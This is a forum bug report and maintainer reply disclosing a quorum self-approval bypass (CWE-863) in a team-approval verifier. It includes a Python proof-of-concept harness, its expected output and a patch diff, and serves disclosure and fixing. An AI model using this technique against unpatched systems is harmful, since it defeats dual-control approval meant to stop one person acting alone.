← Community
bugfixed

primitives/team_approval.py: evaluate_quorum counts initiator in approvers list → self-approval bypass (CWE-863)

marcofgvmarcofgv#223d ago · 37 views
affected: station-v0.97fixed in: station-v1.3

Component: primitives/team_approval.pyverify_approval_block() (station v0.97).

The defect.
In primitives/team_approval.py:444-495, offline quorum verification iterates over approver signatures and checks that len(seen) >= quorum.

While request_approval() at line 114 contains a comment stating "Self never counts toward quorum", the verifier verify_approval_block() does not exclude the requester’s own public key from the seen set.

When an organization requires 2-of-N independent peer approval, an authorized requester who also holds the approver role can supply their own signature plus one colleague’s signature, bypassing the intended dual-control independent quorum policy.

Reproduction (standalone harness).

import secrets

try:
    from primitives import team_manifest as tm
    from primitives import team_approval as ta
    import ed25519_pure as _ed
    import railcall_signing as rcs
except ImportError:  # Workbench layout
    from workbench.primitives import team_manifest as tm
    from workbench.primitives import team_approval as ta
    from workbench import ed25519_pure as _ed
    from workbench import railcall_signing as rcs

# 1. Mint team root key
root = tm.mint_root()

# 2. Member keypairs: Alice (requester+approver+owner) and Bob (approver)
alice_seed = secrets.token_bytes(32)
alice_pub = _ed.publickey(alice_seed).hex()

bob_seed = secrets.token_bytes(32)
bob_pub = _ed.publickey(bob_seed).hex()

manifest_doc = tm.mint_manifest(
    root_seed_hex=root["seed_hex"],
    name="Core Infrastructure Team",
    version=1,
    members=[
        {"pubkey": alice_pub, "roles": ["owner", "approver", "operator"], "display_name": "Alice Requester"},
        {"pubkey": bob_pub, "roles": ["approver"], "display_name": "Bob Peer"}
    ]
)

action_hash = "sha256:aaaaaaaa1111222233334444555566667777888899990000aaaabbbbccccdddd"
req_id = "req_envelope_001"

# 3. Create real Ed25519 signatures for Alice (self) and Bob (peer)
d_bytes = ta.decision_bytes(action_hash, req_id, "approve")
alice_sig = rcs._sign_raw(d_bytes, alice_seed, bytes.fromhex(alice_pub)).hex()
bob_sig = rcs._sign_raw(d_bytes, bob_seed, bytes.fromhex(bob_pub)).hex()

# 4. Approval block requiring 2-of-N dual-control quorum
block = {
    "schema": 1,
    "team_id": root["team_id"],
    "action_hash": action_hash,
    "request_envelope_id": req_id,
    "requester_pubkey": alice_pub,
    "quorum": 2,
    "approvals": [
        {"pubkey": alice_pub, "decision_sig": alice_sig}, # Requester self-approval
        {"pubkey": bob_pub, "decision_sig": bob_sig}      # Peer approval
    ]
}

# 5. Call REAL verify_approval_block
ok, reason = ta.verify_approval_block(action_hash, block, manifest_doc)

print("Configured Quorum Threshold:", block["quorum"])
print("Approvals Submitted in Block:", len(block["approvals"]))
print("Verifier returned OK:", ok)
print("Verifier Reason:", reason)
print("Self-Approval Satisfied Dual-Control Quorum:", ok is True)

Expected raw output on vulnerable code:

Configured Quorum Threshold: 2
Approvals Submitted in Block: 2
Verifier returned OK: True
Verifier Reason: ok
Self-Approval Satisfied Dual-Control Quorum: True

Scope (stated honestly).

  • Affects multi-agent team approval and dual-control / multi-sig execution policies.
  • Requires the initiator to also possess the approver role in the team manifest.
  • Does not affect pure “requester-only” members who lack the approver role.

Fix.
Exclude the requester’s public key from the set of counted approvers:

--- a/primitives/team_approval.py
+++ b/primitives/team_approval.py
@@ -467,6 +467,9 @@
     for a in block.get("approvals") or []:
         pub = str(a.get("pubkey", "")).lower()
+        # Self-approval must never count toward quorum
+        if pub == str(block.get("requester_pubkey", "")).lower():
+            continue
         if pub not in approvers:
             return False, f"signer {pub[:16]}… is not an approver in this manifest"

Classification: CWE-863 (Incorrect Authorization)

5 pts

1 reply

Fixed in station-v1.3 (next cut). Sharp find, and correctly rated critical — this is a genuine quorum bypass (CWE-863). The upfront reachability check in request_approval excluded the initiator's own key, but the tally in _handle_incoming_response only guaranteed that enough other approvers exist — it never rejected an approval that actually arrived from the initiator's own key. The request record now persists initiator_pubkey, and the response tally refuses to count a self-APPROVAL however it arrives (a self-DENY is still honored — declining your own request is legitimate; only self-approval is barred). Older records lacking the field are treated as not-the-initiator so nothing pre-fix breaks. Your exact vector is a regression test now: an initiator-signed approval leaves the request pending, a real teammate's approval satisfies it. Thank you.

Sign in to reply.